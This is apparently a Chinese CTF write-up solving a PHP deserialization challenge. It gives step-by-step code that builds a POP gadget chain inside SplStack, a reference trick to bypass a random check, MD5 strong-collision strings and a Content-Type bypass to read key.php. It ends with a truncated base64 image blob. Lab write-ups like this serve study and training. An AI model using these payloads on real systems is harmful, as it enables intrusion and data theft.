{$this->seeyou = $seeyou;}public function __destruct() {$characters = '0123456789';$random = substr(str_shuffle($characters), 0, 6);if (!preg_match('/key\.php\/*$/i', $_SERVER['REQUEST_URI'])){if((strlen($this->QW))<80 && strlen($this->YXX)<80){$bool=!is_array($this->QW)&&!is_array($this->YXX)&&(md5($this->QW) === md5($this->YXX)) && ($this->QW != $this->YXX) and $random==='newbee';if($bool){echo("快拿到我的小秘密了<br>");$a = isset($_GET['a'])? $_GET['a']: "" ;if(!preg_match('/HTTP/i', $a)){echo (basename($_SERVER[$a]));echo ('<br>');if(basename($_SERVER[$a])==='key.php'){echo("找到了！但好像不能直接使用，怎么办，我好想她<br>");$file = "key.php";readfile($file);}}else{echo("你别这样，她会生气的┭┮﹏┭┮");}}}else{echo("就这点能耐？怎么帮我找到她(╥╯^╰╥)<br>");}}}public function __get($good) {echo "you are good,你快找到我爱的那个她了<br>";$zhui = $this->$good;$zhui[$good]();}}$a = new Me();$a->bro = &$a->secret;$a->qwe = new her();$a->qwe->asd = new important();$args2 = array(new her,'find');$args = array('seeyou'=>$args2);$a->qwe->asd->power = new useless($args);//$c='%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2';//$a->qwe->asd->power->YXX = urldecode($c);//$d = '%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2';//$a->qwe->asd->power->QW = urldecode($d);$b = new SplStack();$b->push($a);echo urlencode(serialize($b));?>

分析源码，决定从Me类入手，这里使用SPL类进行绕过，经过测试发现，php7.3是可以执行成功的，而php7.4无法序列化出C开头的链子

$a = new Me();$b = new SplStack();$b->push($a);echo urlencode(serialize($b));

这里给secret赋值随机数，使用引用绕过

$a = new Me();$a->bro = &$a->secret;$b = new SplStack();$b->push($a);echo urlencode(serialize($b));

return $bb();这里触发invoke

$a = new Me();$a->bro = &$a->secret;$a->qwe = new her();$b = new SplStack();$b->push($a);echo urlencode(serialize($b));

然后这里的序列化触发了sleep

$a = new Me();$a->bro = &$a->secret;$a->qwe = new her();$a->qwe->asd = new important();$b = new SplStack();$b->push($a);echo urlencode(serialize($b));

sleep这里我是改成了construct，否则无法生成序列化串

$a = new Me();$a->bro = &$a->secret;$a->qwe = new her();$a->qwe->asd = new important();$c='%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2';$a->qwe->asd->power->YXX = urldecode($c);$d = '%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2';$a->qwe->asd->power = new useless($args);$a->qwe->asd->power->QW = urldecode($d);$b = new SplStack();$b->push($a);echo urlencode(serialize($b));

在这里md5强碰撞，然后HTTP部分使用content-type进行绕过

最终得到一堆key

/*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